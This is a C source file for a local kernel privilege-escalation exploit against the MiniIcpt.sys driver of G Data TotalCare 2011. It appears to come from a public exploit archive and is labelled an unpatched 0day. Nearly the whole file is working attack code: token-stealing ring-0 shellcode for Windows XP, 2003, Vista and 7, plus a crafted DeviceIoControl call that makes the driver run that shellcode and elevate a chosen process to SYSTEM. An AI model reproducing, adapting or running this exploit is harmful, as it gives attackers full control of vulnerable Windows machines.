G Data TotalCare 2011 – Local Kernel
/* # Exploit Title: G Data TotalCare 2011 0day Local Kernel Exploit # Date: 2010-11-08 # Author: Nikita Tarakanov (CISS Research Team) # Software Link: http://www.gdata.de/ # Version: up to date, version 21.1.0.5, MiniIcpt.sys version 1.0.8.9 # Tested on: Win XP SP3 # CVE : CVE-NO-MATCH # Status : Unpatched */ #include <stdio.h> #include "winsock2.h" #include <windows.h> #pragma comment(lib, "wininet.lib") #pragma comment(lib, "Ws2_32.lib") static unsigned char win2k3_ring0_shell[] = /* _ring0 */ "\xb8\x24\xf1\xdf\xff" "\x8b\x00" "\x8b\xb0\x18\x02\x00\x00" "\x89\xf0" /* _sys_eprocess_loop */ "\x8b\x98\x94\x00\x00\x00" "\x81\xfb\x04\x00\x00\x00" "\x74\x11" "\x8b\x80\x9c\x00\x00\x00" "\x2d\x98\x00\x00\x00" "\x39\xf0" "\x75\xe3" "\xeb\x21" /* _sys_eprocess_found */ "\x89\xc1" "\x89\xf0" /* _cmd_eprocess_loop */ "\x8b\x98\x94\x00\x00\x00" "\x81\xfb\x00\x00\x00\x00" "\x74\x10" "\x8b\x80\x9c\x00\x00\x00" "\x2d\x98\x00\x00\x00" "\x39\xf0" "\x75\xe3" /* _not_found */ "\xcc" /* _cmd_eprocess_found * _ring0_end */ /* copy tokens!$%! */ "\x8b\x89\xd8\x00\x00\x00" "\x89\x88\xd8\x00\x00\x00" "\x90"; static unsigned char winvista_ring0_shell[] = /* _ring0 */ "\x64\xa1\x24\x01\x00\x00" //"\x8b\x00" "\x8b\x70\x48" "\x89\xf0" /* _sys_eprocess_loop */ "\x8b\x98\x9c\x00\x00\x00" "\x81\xfb\x04\x00\x00\x00" "\x74\x11" "\x8b\x80\xa4\x00\x00\x00" "\x2d\xa0\x00\x00\x00" "\x39\xf0" "\x75\xe3" "\xeb\x21" /* _sys_eprocess_found */ "\x89\xc1" "\x89\xf0" /* _cmd_eprocess_loop */ "\x8b\x98\x9c\x00\x00\x00" "\x81\xfb\x00\x00\x00\x00" "\x74\x10" "\x8b\x80\xa4\x00\x00\x00" "\x2d\xa0\x00\x00\x00" "\x39\xf0" "\x75\xe3" /* _not_found */ "\xcc" /* _cmd_eprocess_found * _ring0_end */ /* copy tokens!$%! */ "\x8b\x89\xe0\x00\x00\x00" "\x89\x88\xe0\x00\x00\x00" "\x90"; static unsigned char win7_ring0_shell[] = /* _ring0 */ "\x64\xa1\x24\x01\x00\x00" "\x8b\x70\x50" "\x89\xf0" /* _sys_eprocess_loop */ "\x8b\x98\xb4\x00\x00\x00" "\x81\xfb\x04\x00\x00\x00" "\x74\x11" "\x8b\x80\xbc\x00\x00\x00" "\x2d\xb8\x00\x00\x00" "\x39\xf0" "\x75\xe3" "\xeb\x21" /* _sys_eprocess_found */ "\x89\xc1" "\x89\xf0" /* _cmd_eprocess_loop */ "\x8b\x98\xb4\x00\x00\x00" "\x81\xfb\x00\x00\x00\x00" "\x74\x10" "\x8b\x80\xbc\x00\x00\x00" "\x2d\xb8\x00\x00\x00" "\x39\xf0" "\x75\xe3" /* _not_found */ "\xcc" /* _cmd_eprocess_found * _ring0_end */ /* copy tokens!$%! */ "\x8b\x89\xf8\x00\x00\x00" "\x89\x88\xf8\x00\x00\x00" "\x90"; static unsigned char winxp_ring0_shell[] = /* _ring0 */ "\xb8\x24\xf1\xdf\xff" "\x8b\x00" "\x8b\x70\x44" "\x89\xf0" /* _sys_eprocess_loop */ "\x8b\x98\x84\x00\x00\x00" "\x81\xfb\x04\x00\x00\x00" "\x74\x11" "\x8b\x80\x8c\x00\x00\x00" "\x2d\x88\x00\x00\x00" "\x39\xf0" "\x75\xe3" "\xeb\x21" /* _sys_eprocess_found */ "\x89\xc1" "\x89\xf0" /* _cmd_eprocess_loop */ "\x8b\x98\x84\x00\x00\x00" "\x81\xfb\x00\x00\x00\x00" "\x74\x10" "\x8b\x80\x8c\x00\x00\x00" "\x2d\x88\x00\x00\x00" "\x39\xf0" "\x75\xe3" /* _not_found */ "\xcc" /* _cmd_eprocess_found * _ring0_end */ /* copy tokens!$%! */ "\x8b\x89\xc8\x00\x00\x00" "\x89\x88\xc8\x00\x00\x00" "\x90"; static unsigned char freeze[] = "\xeb\xfe";// jmp $0 void craft_fake_flt_context(char* buff, LPVOID shellcode_addr) { DWORD references = 1; DWORD *Entry; Entry = (DWORD*)malloc(0x8); Entry[0] = Entry;//Entry[0] == esi Entry[1] = shellcode_addr;//[esi+4] - r0 shellcode memcpy(buff-0x4, &references, 0x4); memcpy(buff-0x28, Entry, 0x4); } static PCHAR fixup_ring0_shell (DWORD ppid, DWORD *zlen) { DWORD dwVersion, dwMajorVersion, dwMinorVersion; dwVersion = GetVersion (); dwMajorVersion = (DWORD) (LOBYTE(LOWORD(dwVersion))); dwMinorVersion = (DWORD) (HIBYTE(LOWORD(dwVersion))); printf("dwMajorVersion = %d dwMinorVersion %d\n", dwMajorVersion, dwMinorVersion); switch (dwMajorVersion) { case 5: switch (dwMinorVersion) { case 1: *zlen = sizeof winxp_ring0_shell - 1; *(PDWORD) &winxp_ring0_shell[55] = ppid; return (winxp_ring0_shell); case 2: *zlen = sizeof win2k3_ring0_shell - 1; *(PDWORD) &win2k3_ring0_shell[58] = ppid; return (win2k3_ring0_shell); default: printf("GetVersion, unsupported version\n"); exit(EXIT_FAILURE); } case 6: switch (dwMinorVersion) { case 0: *zlen = sizeof winvista_ring0_shell - 1; *(PDWORD) &winvista_ring0_shell[54] = ppid; return (winvista_ring0_shell); case 1: *zlen = sizeof win7_ring0_shell - 1; *(PDWORD) &win7_ring0_shell[54] = ppid; return (win7_ring0_shell); default: printf("GetVersion, unsupported version\n"); exit(EXIT_FAILURE); } default: printf("GetVersion, unsupported version\n"); exit(EXIT_FAILURE); } return (NULL); } int main(int argc, char **argv) { HANDLE hDevice, hThread; char *inbuff, *inbuffer; DWORD *buff; DWORD ioctl = 0x83170180, in = 0xC, out = 0x0C, len, zlen, ppid; LPVOID zpage, zbuf; printf ("G Data TotalCare 2011 0day Local Kernel Exploit\n" "by: Nikita Tarakanov (CISS Research Team)\n"); if (argc <= 1) { printf("Usage: %s <processid to elevate>\n", argv[0]); return 0; } ppid = atoi(argv[1]); zpage = VirtualAlloc(NULL, 0x1000, MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE); if (zpage == NULL) { printf("VirtualAlloc failed\n"); return 0; } printf("Ring 0 shellcode at 0x%08X address\n", zpage, 0x10000); memset(zpage, 0xCC, 0x1000); zbuf = fixup_ring0_shell(ppid, &zlen); memcpy((PCHAR)zpage, (PCHAR)zbuf, zlen); memcpy((PCHAR)zpage + zlen, (PCHAR)freeze, sizeof (freeze) - 1); if ( (hDevice = CreateFileA("\\\\.\\MiniIcptControlDevice0", GENERIC_READ|GENERIC_WRITE, 0, 0, OPEN_EXISTING, 0, NULL) ) != INVALID_HANDLE_VALUE ) { printf("Device succesfully opened!\n"); } else { printf("Error: Error opening device \n"); return 0; } inbuff = (char *)malloc(0x1000); memset(inbuff, 0x90, 0x1000); buff = (DWORD *)malloc(0x1000); if(!inbuff){ printf("malloc failed!\n"); return 0; } inbuffer = inbuff + 0x40; printf("crafting\n"); craft_fake_flt_context(inbuffer, zpage); printf("deviceio!\n"); buff[0] = inbuffer; DeviceIoControl(hDevice, ioctl, buff, in, buff, out, &len, NULL); free(inbuff); return 0; } |